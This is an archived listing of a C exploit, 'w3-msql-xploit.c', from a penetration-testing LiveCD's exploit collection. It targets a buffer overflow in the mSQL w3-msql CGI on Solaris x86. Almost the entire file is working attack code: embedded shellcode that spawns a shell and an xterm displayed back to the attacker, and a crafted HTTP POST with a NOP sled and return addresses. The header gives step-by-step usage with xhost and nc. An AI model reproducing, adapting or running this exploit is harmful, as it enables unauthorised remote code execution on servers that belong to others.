home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / w3-msql-xploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  107 lines

  1. /*
  2.  * !Hispahack Research Team
  3.  * http://hispahack.ccc.de
  4.  *
  5.  * Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
  6.  *
  7.  * Platform: Solaris x86
  8.  *           Feel free to port it to other arquitectures, if you can...
  9.  *           If so mail me plz.
  10.  *
  11.  * By: Zhodiac <zhodiac@softhome.net>
  12.  *
  13.  * Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
  14.  *        2) xhost +<target_ip>
  15.  *        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
  16.  *        4) Take a cup of cofee, some kind of drug or wathever
  17.  *           estimulates you at hacking time... while the xterm is comming
  18.  *           or while you are getting raided.
  19.  *
  20.  * #include <standard/disclaimer.h>
  21.  *
  22.  * Madrid, 28/10/99
  23.  *
  24.  * Spain r0x
  25.  *
  26.  */
  27.  
  28. #include <stdio.h>
  29. #include <string.h>
  30. #include <stdlib.h>
  31.  
  32. /******************/
  33. /* Customize this */
  34. /******************/
  35. //#define LEN_VAR         50     /* mSQL 2.0.4 - 2.0.10.1 */
  36. #define LEN_VAR       128    /* mSQL 2.0.11 */
  37.  
  38. // Solaris x86
  39. #define ADDR 0x8045f8
  40.  
  41. // Shellcode Solaris x86
  42. char shellcode[]= /* By Zhodiac <zhodiac@softhome.net> */
  43.   "\x8b\x74\x24\xfc\xb8\x2e\x61\x68\x6d\x05\x01\x01\x01\x01\x39\x06"
  44.   "\x74\x03\x46\xeb\xf9\x33\xc0\x89\x46\xea\x88\x46\xef\x89\x46\xfc"
  45.   "\x88\x46\x07\x46\x46\x88\x46\x08\x4e\x4e\x88\x46\xff\xb0\x1f\xfe"
  46.   "\xc0\x88\x46\x21\x88\x46\x2a\x33\xc0\x89\x76\xf0\x8d\x5e\x08\x89"
  47.   "\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x50\x8d\x5e\xf0\x53\x56\x56\xb0"
  48.   "\x3b\x9a\xaa\xaa\xaa\xaa\x07\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
  49.   "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
  50.   "/bin/shA-cA/usr/openwin/bin/xtermA-displayA";
  51.  
  52. #define ADDR_TIMES      12
  53. #define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
  54. #define NOP     0x90
  55.  
  56. int main (int argc, char *argv[])
  57. {
  58.   char *buf, *ptr;
  59.   long addr=ADDR;
  60.   int aux;
  61.  
  62.   if (argc<3)
  63.     {
  64.       printf("Usage: %s target display | nc target 80 \n",argv[0]);
  65.       exit(-1);
  66.     }
  67.  
  68.   if ((buf=malloc(BUFSIZE))==NULL)
  69.     {
  70.       perror("malloc()");
  71.       exit(-1);
  72.     }
  73.  
  74.   shellcode[44]=(char)strlen(argv[2])+43;
  75.  
  76.   ptr=(char *)buf;
  77.   memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
  78.   ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
  79.   memcpy(ptr,shellcode,strlen(shellcode));
  80.   ptr+=strlen(shellcode);
  81.   memcpy(ptr,argv[2],strlen(argv[2]));
  82.   ptr+=strlen(argv[2]);
  83.  
  84.   for (aux=0;aux<ADDR_TIMES;aux++)
  85.     {
  86.       ptr[0] = (addr & 0x000000ff);
  87.       ptr[1] = (addr & 0x0000ff00) >> 8;
  88.       ptr[2] = (addr & 0x00ff0000) >> 16;
  89.       ptr[3] = (addr & 0xff000000) >> 24;
  90.       ptr+=4;
  91.     }
  92.  
  93.   printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0\n");
  94.   printf("Connection: Keep-Alive\n");
  95.   printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686\n");
  96.   printf("Host: %s\n",argv[1]);
  97.   printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg\n");
  98.   printf("Accept-Encoding: gzip\n");
  99.   printf("Accept-Language: en\n");
  100.   printf("Accept-Charset: iso-8859-1,*,utf-8\n");
  101.   printf("Content-type: multipart/form-data\n");
  102.   printf("Content-length: %i\n\n",BUFSIZE);
  103.  
  104.   printf("%s \n\n\n",buf);
  105.   free(buf);
  106. }
  107.